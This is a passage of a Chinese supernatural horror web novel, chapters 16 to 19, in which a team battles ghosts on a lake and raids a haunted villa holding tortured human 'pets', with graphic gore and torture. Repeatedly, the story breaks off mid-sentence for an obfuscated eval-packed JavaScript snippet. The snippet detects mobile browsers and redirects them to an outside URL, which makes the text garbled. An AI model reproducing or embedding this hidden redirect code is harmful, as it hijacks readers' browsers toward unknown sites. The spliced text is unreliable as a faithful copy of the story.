“邪神的肢体。”褚颜老实答道:“一条左腿。” “哪里来的?”队长又问。 “灰塔旁边,一个女人手里。”褚颜说着,便要把肢体递出,道:“应该是你的任务奖励。毕竟你是从灰塔里出来的。” “不,不用了。”秦队现在对残肢断臂、人类尸体产生了不小的阴影,也根本没有接的打算。 “既然是给你的,那就你先拿着吧。”他说。“也不差这一块两块。” “好吧。”褚颜也不勉强,将“左腿”也一并放进收容匣中。 “你是怎么过来的?”队长问。 褚颜就把人形墓碑、挖土小孩、活埋等事件都简要讲了一下,听得秦队心惊肉跳。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680918|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看起来他所面对的危险,和灰塔也不相上下啊。而“贺兰”竟然完好无损地出来了,真厉害。难怪金先生会让他加入队伍,毕竟1313号房可是出了名的难搞。 “你去的应该是老坟地,但你说,走出来以后,遇见了一条分岔路口?”秦队捕捉到了关键信息。 褚颜说:“对,我往左边走,就遇上你了。” 秦队道:“那看样子,只要我们继续往前,分岔路口应该会再一次出现。只要我们选择另外的路,就有可能遇上戴雅和拉维欧他们。” “嗯。”褚颜点头,算是认可了他的猜测。 “我们先过去吧。”队长道。 两人便一起往前方走去,也许是因为队长已经打败灰塔的缘故,迷雾渐渐变淡、变薄,不多时就显出一个分岔路口来。 就在两人打算往右走时,忽然看到一道熟悉的身影,跌跌撞撞地从右边跑了过来。 正是拉维欧! 神父神态仓皇,面露惊恐,见到他们时还骇了一跳,等到队长叫他,他才松开紧绷的神经,猛地倒了下去。 秦队连忙将他接住,却见他抓住队长手臂,从喉咙里挤出不成调的呼喊:“别去湖心岛!戴雅……戴雅她……” …… 原来,神父和戴雅没有走散,他们出现在了同一个地方。 那是一片广袤无垠的湖,被白雾所笼罩。 一个人口聚集的小镇,出现一片这样大的湖,是很不寻常的。要么是幻觉,要么就是某种力量,将原有的湖泊扭曲扩大化了。 两人围着湖边走了很远很远,只觉得眼前的景色基本没什么变化,看不到拐角,也看不到终点,仿佛他们一直在原地踏步。 眼看拉维欧还要往前,戴雅忙拉住他道:“别走了,我们就算把自己累死,也不会有尽头的。” 整个小队除了队长以外,戴雅算是最有主见的了。 神父记得自己还被她救过一次,下意识询问她的意见。 “那你说该怎么办?”神父问。 戴雅将目光投向湖中央,说:“既然叫湖心岛,那我们的目的必然是湖中央。看来得想办法过去了,你试试用你那个风的魔法?” 神父点点头,举起十字架,念出了那段熟悉的咒语:“至高至上伟大的主,洞察一切全能的神, 日与月的掌控者,风与电的主宰, 当你权杖高举,在空气里散布霹雳与雷霆, 我祈求你,露水为衣,清风做气的神, 请赐予你虔诚的信徒,一份属于风的力量吧!” 然而想象中呼啸的狂风并没有到来,只是面前的白雾稍稍打了个气旋,仿佛他的咒语被一股更强大的力量消弭掉了。 神父讪讪地收回十字架,说:“这也太抓马了,没有风,又没有船,让我们怎么过去啊。总不能让我们游过去吧。” 他刚吐槽完,就看见一条独木舟突兀地出现在视野中间,一路无风自动,破开波浪朝着他们驶了过来,而后静静停在了他们面前。 “呵呵。”神父干笑两声,道:“这还真是有求必应啊。” 16. 第十六章 苍白鬼影 戴雅没有说话。 船也没有动静。 两边僵持着,似乎在看谁先按捺不住。 但戴雅和神父这边,其实是没什么选择的。 要么登上这艘船,面对未知的危险。 要么被困在这里,无路可走,也无法回头。而仅靠他们身上带着的食物,扛不住三天。 “看样子,只能上去了。”戴雅说,又问拉维欧:“你的力量恢复了吗?” “嗯。”神父点点头。 “那好,那等一下由我来指挥,你根据我的指令来。我会尽全力保证我俩的安全,拉维欧,你会信任我的吧?”戴雅问。 “当然。”在到这里来之前,他们已经经历过两次任务的磨合了。 神父拿起从褚颜那买来的“重力手枪”,戴雅则戴好了一枚“护盾”项圈。 谁也不能保证这次冒险是否能全身而退,那就必须要把保命的底牌都拿出来。 两人前后脚登上独木舟,见船没动,便自己拿起船桨,向着湖心划去。 虽然是白天,但空气中全是弥漫的雾气,看不到远处。 湖面像一面光滑的镜子,镜中里除了倒映的雾气外什么也没有。既没有鱼,也没有虫子。只有划动的船桨,在一起一落间,搅动出些许波纹。 虽然外面已是冬天,但小镇里一直淫雨霏霏,他们也没在意气候的变化。 可随着小船驶向中央,他们却渐渐感觉到,气温越来越冷了。 这并非简单的干冷,而是一种透入灵魂的阴冷,仿佛有冤魂趴在后颈处吹气,又在他们身体里反复穿行。 “嘭咚。”船桨撞到某种坚硬的东西,发出沉闷的响声。 神父定睛一看,吓得险些扔掉船桨。 原来那是一具漂浮在湖面的尸体,裹尸布微微散开,露出底下长满绿毛的膨大身体,眼珠从眼眶里暴突出来,尸液自腐烂的鼻窦间往外流淌。 “嘭咚。” 又一具尸体撞上了船体。 越来越多缠着裹尸布的尸体从水底浮了上来,头部朝向湖中央,仿佛在做一场盛大的朝拜。 他们的船于是再难寸进,被这些尸体堵在了水域上。 一张苍白的鬼脸从戴雅身后冒出,对着神父嘻嘻笑了两声。 神父的心一时提到嗓子眼,下意识捏紧了胸前的十字架。 戴雅手掌一动,一截绿色的藤蔓顿时浮现在她手中,顶端削尖,如同利箭般,警惕地瞄准了周围。 可这次的动静却来源于她自己身上,只见她腹部的衣服慢慢鼓起,撑出一个篮球大小,而后外套被撑开,从里面钻出一个黑发密布的脑袋。 那脑袋咔咔扭了个半圈,露出一张苍白鬼脸,对着她嘻嘻笑道:“妈妈!” 在惊恐与自保的念头驱使下,戴雅手中的绿藤直接刺穿了它。 然而这根本没有用,那脑袋很快像烟雾一样散去了。 紧接着,更多的鬼影攀上船舷。她们顶着湿淋淋的头发从水里钻出来,瞳孔血红,笑容奇诡,拽着两人的衣袖,就要把他们拉进水中。 神父被一把拽到船边,脸直接朝向了湖面。 湖面顿时映出了一张长发披散的苍白鬼脸。然而他一惊叫,那女人也跟着尖叫起来。 仿佛这一瞬间,女人成了他的倒影,他成了女人的替身。 这个念头升起的瞬间,他已经置身在无边无际的湖水中。冰凉的湖水从口鼻灌进肺里,一双双鬼手正把他往湖底拖拽。 他无力抗衡,甚至无法念出咒语反抗——一张嘴,就有水呛进来。 他看见在那漫无边际的湖水里,还有成百上千具漂浮的尸体。绷带将她们缠成了木乃伊,而现在,那绷带也朝着自己脖子卷来了。 “嘭。”重力手枪在水里触发,让缠住他脚的女鬼们纷纷往深处坠去。 他根本顾不得那些微的副作用,连开几枪击退了那些苍白鬼手,又挣扎着攀到独木舟边缘,费力爬了上去。 而船上的戴雅,此时已经被一团黑色头发笼罩了。 那团黑乎乎的头发悬浮在她头顶,延绵数米。它缠住了她没能发出的绿藤,缠住了她试图反抗的四肢,缠住了她纤细的脖颈,每一根发丝,都往她的毛孔里钻去。 神父刚准备开枪帮她,就突然感到喉咙一阵麻痒,接着便是一阵惊天动地的咳嗽——重力手枪的副作用发作了。 只见一道莹白的光芒从戴雅脖颈处迸发,如一圈护盾般将她结结实实地笼在了里面,使得黑发纷纷消融。 她挣开束缚的下一秒,就将几根藤蔓齐射出去,刺入那团发丝中央,将它一把扯开。 “拉维欧,驱魔!”她高喊! “收到!”拉维欧勉强定了定神,高高举起胸前的十字架,吟唱道:“神说,会有光! 地是空虚混沌,渊面黑暗;神灵运行于水上。 光暗永分,明为昼,暗为夜。 圣光净化污秽,驱魔!” 炽热的光芒从他身体里发出,如太阳般驱散了周围的尸体和鬼手,连空中的迷雾都出现了片刻的消融。 戴雅催动藤蔓往水里狠狠一推,独木舟在骤然空旷许多的湖面上飙出老远,而这时,一座矗立于湖心的岛屿也出现在他们眼前。 那岛屿呈现六芒星的形态,岛上浓雾更深,远远望去,只能看见正中央立着一尊半身雕像。 雕像静静伫立在那里,冷淡,苍然,仿佛早已在此困守千年。 在看见那尊雕像的瞬间,神父只觉得脑袋嗡地一声,而后双眼毫无预兆地爆炸了。 剧痛让他蜷缩成一团,无边无际的黑暗里,他听见了苍白鬼影们扑过来的呜呜风声。 戴雅靠着“护盾”抵消了部分攻击,但双眼还是疼痛万分,她一边疯狂往自己和拉维欧身体里施加着治愈魔法,一边搅动湖水往来路划去。 “我们回去!”她说。 只一个抬眼,她就知道,岛上那个异端,不是他们能对付得了的。 然而神父因为受伤,已无力维持圣光的发散,那些鬼影又争先恐后地扑了上来。 随着戴雅注入的治愈之力,神父感觉到眼珠在眼眶里慢慢复原。 他心知此地万分危险,连忙拿起十字架,准备再一次念出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“金少爷不可能还活着,再找下去,我们都得死。” 他对两位队友的死心有余悸,知道仅凭他们几个人,是绝对打不赢那些异端的。 而且唯一拥有治愈能力的戴雅都折在了里面,以后再遭受什么致命伤,也没人能救他们了。 但出乎意料的是,队长没有表态。而“贺兰”甚至说:“不能交给他们!” “为什么?”神父很诧异,在他眼里,“贺兰”并不是这样冒进的人。 贺兰,也就是褚颜,将灰塔边遇到的那个女人,以及女人的那番话原封不动地说了一遍。 “你是说,那些镇民都是邪神的子民?这也太不可思议了。他们明明在对抗那些怪物。”神父想起哨所外帮他们挡了一次攻击的纸扎人,下意识否定了这段描述。 “你记不记得,镇长说过,在某次祭祀时,一阵迷雾从矿山那里喷出,弥漫了整个镇子。从那天起,镇上的人就开始离奇失踪、暴死。”褚颜道:“或许正是这个原因,让他们改变了立场。” “所以我觉得,我们不该去找镇民,而应该去万平路88号看一看。” “你疯了吗?你居然选择相信一个怪物的话?”神父愕然瞪大了双眼,难以置信地说:“你忘记郝成和戴雅都是被怪物杀的了吗?它们是我们的敌人!” “不,我觉得,贺兰说得有道理。”出乎意料的,秦队居然站在了褚颜这边。 17. 第十七章 万平路 在神父狐疑的眼神里,秦队继续道:“我觉得这个镇子有古怪。” 褚颜看他一眼,给他递了一个“看吧,我也这样觉得”的眼神。 秦队充分担当起作为小队队长的责任,开始分析几人的这次经历。 “我们失散以后,贺兰去了老坟地。而老坟地里面,都是死去的婴儿,并且全是女婴。他在那里遭遇了活埋。” “我去的是义塔,那里有从高塔上扔下去的婴儿,野兽会被吸引过去捕食,每隔三天,里面还会燃起一场大火,清理尸体。” “这种种经历,让我想到了一种可能——这个镇子,多年来一直在残害女婴。” “那也不能说明……”怪物是对的。神父刚想反驳,就听秦队继续道: “还有一件事,我起初没注意,后来却越想越不对劲的地方:那个唐镇长说,金少爷被解救后,没有离开镇子,而是在镇子里混口吃的度日——你们不觉得很奇怪吗?” 褚颜点点头,说:“发现了。一个被绑架的人,在被释放以后,为什么不回家,而是留在绑架犯所在的村子里呢?不应该先报警才对吗?” “是这样没错。”秦队说:“就算不报警,他也可以向金先生本人,或其下属寻求帮助。我跟金先生的时间比你们久,知道他除了海鲸酒店外,还有不少产业。就算他一时半会抽不出手来,派个人过来接应,也不是很难的事。” “由此可见,这个镇长要么在撒谎,要么在刻意隐瞒。”他断定道。 听完这么一通分析,神父也稍微冷静了点,开始思索接下来的打算。 “你们说得确实有理,但我们现在应该怎么办呢?白天的时间只有4个小时,很快黑夜就要降临了。我们现在去怪物所说的地点,这不是羊入虎口吗?”神父道。 “或许可以这样想。”褚颜托着下巴,道:“如果我们没有按时回去,那镇民们的第一反应,就是我们死在了怪物手里。但如果我们能从万平路88号回来,就可以杀个回马枪,看看他们到底在搞什么名堂。” “这会不会太冒险了?”秦队问。 “冒险,但并非不可尝试。那个女人说,真相就在万平路88号。难道我们要放着现成的线索不用,把‘邪神的肢体’拱手让人吗?”褚颜道:“而且她已经说了,所有肢体重聚,才能面见邪神。如果我们交出了肢体,那还怎么找金少爷呢?” “你要同时和怪物跟人类开战吗?”神父听得瞠目结舌。 秦队也觉得有些不可思议。 探索怪物指定的万平路,查清真相,面见邪神,每一件都很棘手。 “不是开战,是查探。”褚颜更换了措辞。 神父道:“可我们只剩三个人了。要是按你说的走,再有人员伤亡怎么办?” 褚颜抿了抿嘴,一时无法回答。这里有太多危险在蛰伏,他并不能保证所有人都能安然无恙。 他想了想,反问道:“如果交出肢体,发现镇民们在骗我们呢,又能怎么办?这本就是一场豪赌,谁都没办法确定最终结果。” 说完这句话,两人齐齐看向了队长。 1比1平的情况下,只能由他来定胜负了。 “去万平路吧。”队长道:“我也想看看,这所谓的真相——是什么?” 随着他话音落定,一条新路也开始从分岔路口向外蔓延。 他们互相看了对方一眼,一同迈步往新路走去。 …… 很奇特。 明明老坟地在镇子西边,他们汇合后也一直在往西走,却又莫名其妙地回到了镇子——只是出现在了不同的地方。 也难怪镇子里的人从来都出不去,每一条路都是扭曲回旋的——宛如莫比乌斯环,一直前行,却依然回到原点。 呈现在他们面前的,是一条冗长的街道。 这里的情景和他们刚进镇子时所见到的相差不大,天空中白雾未褪,路边屋舍俨然。 还有不少商铺开着大门,只是早已人去楼空。 临街每个建筑的外墙上,都钉着一块金属铭牌,上面刻着地址。 几人一通寻找,很快就找到了万平路所在。 这里离商业区不远,房子间隔颇大,红墙碧瓦,独立成栋,风格上偏向西欧。 褚颜仔细看了一眼,发现这里的建筑比普通民房奢华很多,甚至可以跟大城市里的富人区相媲美——或许,这就是铜山镇的富人区。 “不愧是个富裕镇。”神父评价道:“这些土老板的身家都上亿了吧。” “何止。”秦队道:“这里可是矿产区。” 褚颜没有说话,静静看向那一幢幢别墅。窗户和门洞里都是漆黑一片,仿佛连光都能一起吞噬。 一路找到万平路88号的时候,所有人都忍不住对着那幢房子发出了赞叹声。 只见那套别墅面水临山:前方是挖掘出的人工湖,后面是镇中矿山的某座次峰,亭台水榭一应俱全,远远看时,宛如宫殿。 最初的惊诧过后,褚颜慢慢皱起了眉头。 他察觉到一种十分邪异的感觉,比老坟地那里更甚。就连空气中都若有若无地散发着奇怪的味道,让人作呕。 果不其然,神父似乎也感应到了。 秦队围着金属栅栏转了一圈,发现大门早已锈蚀,轻轻一推就开了。 几人刚准备过去,突然眼前一片漆黑,像是瞬间掉进了无底的深渊。 微凉的雨丝触及皮肤,是黑夜降临了。 褚颜本是挨着秦队进门,刚迈出一步,就蓦然僵在了原地。 只因一张青白的脸骤然出现在他一尺之外,那是个枯瘦的中年男人,穿着一身管家样的西服,瞳孔细如针点,眼眶里大片大片的眼白,分外渗人。 没有人发现他是怎么来的,或许他一直在这里,只是黑夜让他显出了身形——这个认知让褚颜不自觉地发出了一身冷汗。 “怎么来的?”管家问。 秦队下意识把手握上了枪袋,大有一言不合就动手的架势。 褚颜忙从后拉住了他。 上一个能交流的怪物,是“祂”的信使,同样能说话的怪物,保不准也有什么大来头,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所有人都沉默下来,心头同时蒙上一层阴影。 “继续往前走走吧,看看情况。”秦队道。 几人刚绕过花圃,一片广阔的庭院就呈现在众人眼前。在昏暗的灯火下,院子里多了许多来来往往的“人”。 有的在打扫庭院,有的在为香炉添香,有的忙于修剪草木,有的正在打捞湖中落叶。 看起来所有人都有事可做,一切都是那样平和、宁静、死寂。 唯一不同的一点,是所有出现在他们面前的“人”,都没有眼睛,没有耳朵,面部扭曲。 视而不见,充耳不闻——褚颜心头不知怎的突然出现了这两个词。 “扫垃圾!”清洁工突然站直身体:“打扫干净!” 所有“人”都不约而同地站直了身体,异口同声地说:“打扫干净!” 他们黑洞洞的眼眶朝向了众人,扭曲的面目上显出憎恶的神情。 “咔哒咔哒。”是关节扭动的脆响,他们拖着手里的工具,一步步朝他们走来。 “嗡!”电动割草刀发出巨大的声响,对着褚颜纤细的脖子砍了过来。 18. 第十八章 宠物饲养员 褚颜慌忙蹲下身子,堪堪躲过这一击。 绳子在一瞬间挣开,他按到地面的手沾了满手黏腻,定睛一看,才发现那竟是一摊肉泥。 他条件反射地想呕,慌不择路地逃开,致命的电锯却又劈砍过来。 “噗”地一响,是队长的袖箭刺穿了园丁的身体,将他往后狠狠一带。 园丁的身体摔在地上,割草刀从身上滚过,霎时将他切作两截。 但此时他们已陷入那些“人”的包围圈。 清洁工手里的扫把成了钢刀,点香人手中的香烛变成了通红的铁块,打捞者的网兜也成了缚网。 更有几个佣人,直接往地上一趴,变成无数密密麻麻的虫蚁,转瞬间就爬满了整片前庭。 明明他们看不见也听不见,可就是能定位到他们的所在,挥动武器对着他们攻击。 园丁的手臂捡起身体的下半截,拼接在一起,不一会就愈合如初。他捡起割草刀,重新加入战斗中。 秦队手中火光初现,对着地上狠狠一燎,那些虫蚁被烧得纷纷后退,发出难闻的焦糊味。 然而虫蚁仿佛无穷无尽,旧的刚去,新的立刻就涌了上来。 更糟糕的是,他的两个队友都手无寸铁,基本没有防御能力。 神父眼见危机临近,下意识拿出了重力手枪,然而他还没来得及开枪,就发出一阵惊天动地地咳嗽,咳到身子都直不起来。 褚颜一脚踩爆靠近的虫子,踩出一脚泛绿的粘液。 靠近他的虫子们都想往他身上爬,却又在接触到他的前一秒止住了步伐,乖乖停在原地。 然而他却阻止不了虫子们向队友们进攻,队长还好些,可以用火,可神父的身体几乎瞬间就成了虫子们的巢穴。 “神说,会有光! 地是空虚混沌,渊面黑暗;神灵运行于水上。 光暗永分,明为昼,暗为夜。 圣光净化污秽,驱魔!” 熟悉的咒语从他口中响起,他用极快的速度念完,一瞬间圣洁的光晕笼罩了整片大地。 “不好!”秦队似乎察觉到了什么,连忙阻止。 可已经晚了。 只见同一时间,别墅内警铃大作。从窗口和门庭中探出无数枪支,对着他们齐射过来。 那是专用于打猎的猎枪,火药前面装的铁砂,一经触发,就像□□一样,一片横扫。 褚颜只觉得右肩一热,等定睛看去时,才发现肩部绽放出一片血花。 原来我怕物理攻击啊。他暗自嘀咕。陌生的疼痛感让他陡然失了反抗之力,无力地向下跌落。 一只手倏然伸了过来,扶住他的背,止住了他的下落趋势。这人正是秦队。 秦队一边拔枪击退那几个手持武器的佣人,一边招呼神父躲避。 然而他们已经深入庭院,四周都是虫蚁,根本无处可躲。 而第二波攻击已在酝酿之中。 “湖,队长……人工湖……”褚颜弱弱开口:“气味,他们辨别气味……” 来不及多想,也顾不得许多,秦队一手捞着他,一手拉起神父,一个健步奔往人工湖方向,径直跳了下去。 子弹对着他们射来,但因为有湖水的阻隔,落下来时已无多大杀伤力。 褚颜的身体在水中浮沉,意识却难得地清醒。 他突然意识到,他失了警惕。 不仅是对外物,还有对自己。 进到1313号房时,是他第一次直面所谓的异能和异象。他用小聪明骗出了怪物的本体,成功杀掉了它。 后来又在机缘巧合下,找到了残肢怪物的弱点,将它击溃。 接连两次挑战比自己强大的怪物,让他不自觉掉以轻心,以为凭借那种“沉默”能力,就能无所不能。 却忘了,“沉默”下面的注释,是“鬼怪神魔”不可侵,没说他是铁打的身体,刀枪不入。 他确实可以让怪物动作暂停,甚至免疫部分幻觉,但如果直接作用于他的是物理攻击,其实他无法防范。 冰灾如此,活埋如此,枪炮同样也是如此。 队长带着他们在湖中穿行,时不时寻着机会换气,勉强绕过那群怪物的围堵,才堪堪从人工湖的某个不显眼的角落爬了出来。 褚颜呛了几口水,忍不住咳嗽起来。 神父也咳得上气不接下气。 秦队看着这两个残兵败将,脸上显出几分无奈。 但他到底还记得褚颜受了伤,蹲下来问道:“你好点了吗?” 褚颜点点头,无比庆幸猎枪击中的是自己肩膀,要是扫射到他的脑袋或心脏,恐怕他现在已经死了。 “还能走吗?”他问。 “可以。”褚颜点点头。 虽然肩膀依然很痛,但他并不想成为别人的累赘,让队友们身陷险境。 就在队长打算将他搀扶起来时,一阵“呵呵”的喘气声突兀地出现在三人耳后。 褚颜僵硬地扭过头去,只见到三个眼珠猩红的狼狗头颅——那三个狗头挤在同一个身体上,看起来就像从地狱逃出来的恶犬。 队长在一瞬间拔枪射击,纵然打爆了狼狗的头颅,却也暴露了他们的方位。 还剩两头的恶犬被冲击力掀翻,却没有盲目地上前扑咬,而是张开另外两只还完好的嘴,狂吠起来。 遭了! 如果说之前拉维欧的那次圣光驱魔惊醒了别墅中的守卫,那这只恶犬的吠叫声,无疑在向所有人再次示警。 秦队还想开枪,可褚颜生怕他再闹出动静,想也没想就拿出匕首扔了过去,喊道:“队长!” 秦队伸手接过,迅速上前追到那只恶犬,扼住它的咽喉,结果了它的性命。 神父和褚颜搀扶着向他靠近,三人看着地上的狗尸,一时无言。 “现在怎么办?”神父问。 秦队擦去刀上血,把它还给褚颜:“已经打草惊蛇了,他们很快就会过来。” “我们进去。”褚颜开口道:“躲到别墅里去。” 褚颜指着不远处隐藏在黑暗中的一道侧门,那里门户半掩,显然可以成为他们的藏身之所。 躲进敌人的大本营,确实有灯下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721207|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑的好处,但也无疑会将自己送入敌人的包围圈。若是在平时,秦队断然不会如此冒险,但现在队友一个负伤一个菜,他也只好带着两人过去。 走进侧门,将门反锁后,三人的心才算定了下来。 外面传来走动和搜寻的声音,甚至有守卫暴力地敲门,试图闯入,见推不开,才悻悻地离开。 褚颜缓了缓,觉得肩膀痛得有些麻木,便借由思考来转移注意力。 “他们有枪。”他说。 这并不是一句废话。 队长很快明白他的意思,道:“镇长他们也有枪。” 如果说,镇长他们拿枪是为了自保,为了和怪物们对抗。那别墅里有枪是非常不正常的,因为他们是死人,死人不会去□□。 而这里不仅有枪,还有整齐的警卫队,明显是他们生前就装备好的。 这里显然藏着东西,需要这些警卫来守护。 那会是什么呢? 褚颜将目光挪转,看到一旁走廊的两侧上,挂着许多员工的照片。 他强撑起身体,走到照片墙下去看。 许多照片都已泛黄、翻卷、褪色。墙上记录着保安队长,和许多值守的保安的名字,还有外面几个清洁人员的介绍。 要紧的人物也不会在这里出现。褚颜嘀咕着,却蓦然止住目光,看向了最下一排的某张照片。 那是一个年纪尚浅的女孩子,穿着灰棕色的工作服,头上戴着顶小帽,正对着镜头外甜甜地笑。 照片下是她的名字:陶去妹。 “我见过她。”褚颜指着那张照片,对队长道:“在灰塔边上,就是她把‘左腿’给了我。” 闻言,队长迅速凑了过来,去看女子的身份。介绍栏里只有一句话,写的是:7号宠物饲养员。 而照片栏旁边,是一副由简易线条组成的室内地图。 侧门附近的地图显然不会勾勒太多重要的场所,但还是能看到别墅基本的布局。 褚颜留神筛选重要信息,队长也跟着他一起看。 神父凑过来,问褚颜:“‘左腿’是什么意思?你又当收尸人了?”他还不知道灰塔那边发生的事呢。 褚颜动动嘴皮子,轻声告诉他:“就是邪神的肢体,另外一块。” 闻言,神父顿时恨不得一蹦三尺高,以远离这个危险分子。 队长看着地图,道:“不能硬碰硬,他们人多,只能智取。假设以陶去妹为线索,我们首先要去的,就是她的工作地点,有宠物的地方。” 他的手在地图上连点,道:“二楼左右两边,三楼主卧旁边,地下室,这些这些地方都画得很模糊,或许会有收获。” “不,还有一个地方。”褚颜指着别墅后面挨着后山的一张门,道:“这里离山体很近,却有门无路,显然路被隐藏起来了。” “宠物不应该挨着主人的房间吗?”秦队显然不太认同。 褚颜说出自己的推测,道:“你看这张墙上,陶去妹的位置是最往下、最靠后的,说明她地位很低。那她照顾的宠物,应该也高级不到哪里去。” 19. 第十九章 宠物房 秦队皱眉:“谁会把宠物藏在山里?” “就算没宠物,你就不好奇这里有什么吗?要是有军火库呢?”褚颜问:“或者,邪神的另一块肢体。” 这倒是有可能,毕竟按唐镇长讲的,“邪神的肢体”会对人造成污染,也许为了避开危害,他们才会出此下策。 “那现在要怎么进去?”神父适时插嘴,问:“我们要像特工一样,双枪开道,神挡杀神、佛挡杀佛吗?” 褚颜:我的母语是无语。 秦队也凉嗖嗖地来了一句:“你是说,被几个清洁工逼到跳湖的我们,要去直面一堆荷枪实弹的保安?” 虽然他用的是“我们”,但褚颜明白,废物只有他们两个。 那怎么办?想潜入的话,神父的圣光驱魔和队长的枪都不能用,会引来敌人。 自己的“沉默”也有太多不确定因素。 队长将目光看向神父拉维欧。 褚颜的目光则在他们两个中间游移。 看来他们都想到一块了:放火! 一条汹涌的火龙从走廊内窜出,以摧枯拉朽之势点燃了一楼大厅。 一阵不大不小的狂风一阵席卷,将火烧得愈发猛烈。 褚颜不知道怪物有没有救火的本能,但看管家和清洁工们的反应,他们应该还是很听老板话的。 果然,不多时外面就传来了混乱的脚步声,还有皮肉被烧得噼里啪啦的声响。 抓住时机,由秦队领头,褚颜居中,拉维欧断后,三人迅速往规划好的路线冲去。 路上必然有守卫和佣人挡道,被秦队毫不犹豫地一枪一个给解决掉了——在大火弥漫的别墅里,又有谁会在意一两声枪响呢? 神父虽然到了重力手枪的使用限度,但褚颜显然没有。两人交换了武器,也能顺便在后面补补刀。 左,左,右,前,过两个口子,右,前,到了! 这别墅颇大,找起来简直就像走迷宫。 那扇通往后山的门上了重重锁链,旁边还有两个守卫。 队长砰砰两枪直接爆头,让他们再也爬不起来。 锁链虽重,但队长的手枪也不是吃素的,在火力覆盖下,铁链也很快断裂开来。 打开门后,呈现在眼前的是一条长长的甬道,四壁上则置了许许多多的古风壁灯。 这通道并不逼仄,相反还十分宽敞。 地上铺着柔软的地毯,每隔几步路还放了香薰。看起来这简直就像一个冬暖夏凉的避暑胜地,而非什么宝藏地点。 神父反手关门,队长则搬来一个石凳子将门堵住,以防止保安们循迹追来。 走不了多远,视野里便出现了一扇亮着灯的窗,房门大敞着,上面刻着一行字:看门狗。 似乎被他们的脚步声惊动,一个男人从门里慢慢爬了出来。 那确实是爬,他四肢着地,不着//寸缕,从前胸到肋下穿了无数个圆环,脖子上拴着一条狗链,狗链下还吊着一个圆型按钮。 见到陌生人,他的脸上显出诧异,下意识去按脖子下方的按钮。 褚颜的直觉疯狂报警,他一把按住那人,道:“停下!” 但男人显然未停,毕竟他没有主观攻击褚颜的意图,“沉默”并未被触发。 电光火石间,褚颜脑海中闪过《救世主保命守则》的第二页,遗忘! “忘记我们来过这里!”他喊道。 奇迹般的,男人的动作出现了短暂的停顿。他歪着头,眼神一点点变得涣散、空茫,甚至沉重地眨着眼皮,似乎想要睡去。 最后他什么也没做,只是自顾自地爬回门里,不多时就已消失了踪影。 褚颜走到门口紧张望去,发现他睡在地垫上,已经打起了呼噜。 他一时难掩心头思绪,没想到《救世主保命守则》上的东西还能作用于人。 难道,这也是自己的一项技能? 他来不及细想,着急忙慌地推着秦队往前走,生怕再次惊动他。 走出几米距离,他忍不住问秦队道:“他差点就按铃了,你为什么不开枪?” 既然是开门狗,按铃之后,肯定会引来守卫的。 秦队沉默,过了一会才哼哧哼哧答道:“他没异化……也没穿衣服……” 哦,看样子是被那副场面震撼到了。 两人还想闷头往前走,却被神父一把拉住了。 “你们看那里。”他说。 顺着他的手指,褚颜和秦队齐齐将目光投了过来,只见那是一间还算宽敞的房子,有着玻璃砌的外墙,里面陈设着粉红色的公主床、带蕾丝花边的床帘、精致的钢琴,还有不少漂亮的蝴蝶发卡。 而坐在钢琴前的,是个穿着粉色蓬蓬裙的可爱女孩,木偶线从她身体里穿出,一直嵌入墙里。 褚颜和秦队一开始没注意到她,是因为她一动不动,又和周围环境过分一致,差点以为她是什么等身手办。 而门牌上也赫然写着:宠物1洋娃娃。 “咔嚓咔嚓。”女孩缓缓抬起了头,露出苍白如纸的面容。木偶般的拼接线凝固在她脸上。她瞪大眼睛,无声地张了张嘴,说出了一句话。 那是:救救我! 似乎察觉到她的求救,木偶线骤然绷紧,开始拉扯她的肢体。 她被吊到半空,身体呈大字型展开。随着线越绷越紧,她的肢体也很快传来崩裂的脆响。 “嘭!”木块般的身体碎裂了。 她的脑袋孤零零地落到钢琴键上,发出嘈杂的乐声。那双眼睛依然大张着,似蓄了泪,但流出来的只有两行血。 她的嘴唇嗫嚅着,再一次吐出那个词语:救救我! 这里没有迸溅的血浆,也没有残缺的碎肉,只有一个木偶。 可她的绝望却那么鲜明,透过玻璃窗传到了每个人的眼里。 几人不忍再看,继续往前走,在第二间房门上写着:宠物2阉奴。 那是个双手被吊在空中的男人,身上密布着红色的刀痕,伤口细若鱼鳞,宛如经历了一场凌迟。 仅仅是抬头看了他们一眼,他的身体就碎了,垮塌成一堆肉块,再难拼合。 宠物3连体人。 宠物4…… 没人知道他们从何而来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 